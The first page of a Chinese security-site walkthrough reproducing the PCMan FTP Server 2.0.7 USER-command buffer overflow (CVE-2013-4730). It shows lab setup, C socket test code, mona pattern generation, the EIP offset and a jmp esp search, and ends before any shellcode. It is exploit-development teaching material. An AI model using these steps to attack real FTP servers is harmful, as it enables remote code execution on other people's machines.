欢迎来到 黑吧安全网 聚焦网络安全前沿资讯,精华内容,交流技术心得!

PCMan's FTP 漏洞(CVE-2013-4730)详细复现调试过程与exp构造

来源:本站整理 作者:佚名 时间:2019-05-15 TAG: 我要投稿

1. 漏洞简介
软件名称
PCMAN ftp
软件版本
server 2.0.7
漏洞类型
远程缓冲区溢出
漏洞触发点
未对user命令做长度限制检查
漏洞编号
CVE-2013-4730
其他信息:
http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2013-4730_A
 
2. 漏洞详细复现
1. 环境搭建
1. 准备工作:
自动生成有序数,并能确定异常点的偏移可以使用windbg插件Mona2
Mona2 需要Python2.7
windbg(用来定位jmp esp地址)
x64dbg
vs写测试代码和shellcode
2. 环境配置:
虚拟机win7 sp1
wdk 自带windbg
python2.7
vc++ 2008运行库
安装windbg的python 插件pykd
复制mona.py和windbglib.py到windbg同目录
运行windbg随便调试一个程序进程环境测试
.load pykd.pyd
加载pykd
!py mona
测试mona
.reload /f
检查windbg符号路径是否正常
mona安装成功截图

2. vs2015写测试代码
首先我们要能与FTP进行交互才能触发漏洞,只要我们编写的代码符合RFC959标准,就可以与任何一个FTP服务器进行交互,有兴趣的可以去阅读RFC959文档。
#define _WINSOCK_DEPRECATED_NO_WARNINGS
#include
#include
#include
#pragma comment(lib,"ws2_32.lib")
int main()
{
    // 1. -初始化WinSocket服务
    WSADATA stWSA;
    WSAStartup(0x0202, &stWSA);
    // 2. 创建一个原始套接字
    SOCKET stListen = INVALID_SOCKET;
    stListen = WSASocketA(AF_INET, SOCK_STREAM, IPPROTO_TCP, 0, 0, 0);
    // 3. 在任意地址绑定端口21
    SOCKADDR_IN stService;
    stService.sin_addr.s_addr = inet_addr("192.168.43.82");
    stService.sin_port = htons(21);
    stService.sin_family = AF_INET;
    connect(stListen, (SOCKADDR*)&stService, sizeof(stService));
    // 4. 接收返回信息缓冲区
    char szRecv[0x100] = { 0 };
    // 5. 登陆请求
    char *pCompand = "USER SUN";
    recv(stListen, szRecv, sizeof(szRecv), 0);
    send(stListen, pCompand, strlen(pCompand), 0);
    // 6. 接收信息
    recv(stListen, szRecv, sizeof(szRecv), 0);
    // 7. 清理环境
    closesocket(stListen);
    WSACleanup();
    return 0;
}
图中可以看到测试代码连接成功

3. poc构造
利用mona构造长字符串
!py mona pc 3000

在上述的测试代码中将用户名 USER SUN 改为刚生成的这个长字符串。看程序能不能崩溃,如果崩溃了,说明测试成功

4. 复现
打开pcman-ftp软件
打开windbg并附加pcman-ftp进程
windbg加载pykd.pyd.load pykd.pyd
vs发送测试包,然后看到windbg信息

查看栈区发现已经被我们的数据覆盖了

mona查看溢出点!py mona po 发生溢出的eip

我们看到这里的偏移为2007
5. exploit构造
1. 找jmp esp
首先找本模块的jmp esp看有没有能用的
!py mona.py jmp -r esp

然后找系统模块的jmp esp,一般都会用系统模块 因为某系特点的系统模块没有开随机基址
!py mona jmp -r esp -m kernel32.dll
找到了四个,并且可以用

[1] [2] [3]  下一页

【声明】:黑吧安全网(http://www.myhack58.com)登载此文出于传递更多信息之目的,并不代表本站赞同其观点和对其真实性负责,仅适于网络安全技术爱好者学习研究使用,学习中请遵循国家相关法律法规。如有问题请联系我们,联系邮箱admin@myhack58.com,我们会在最短的时间内进行处理。
  • 最新更新
    • 相关阅读
      • 本类热门
        • 最近下载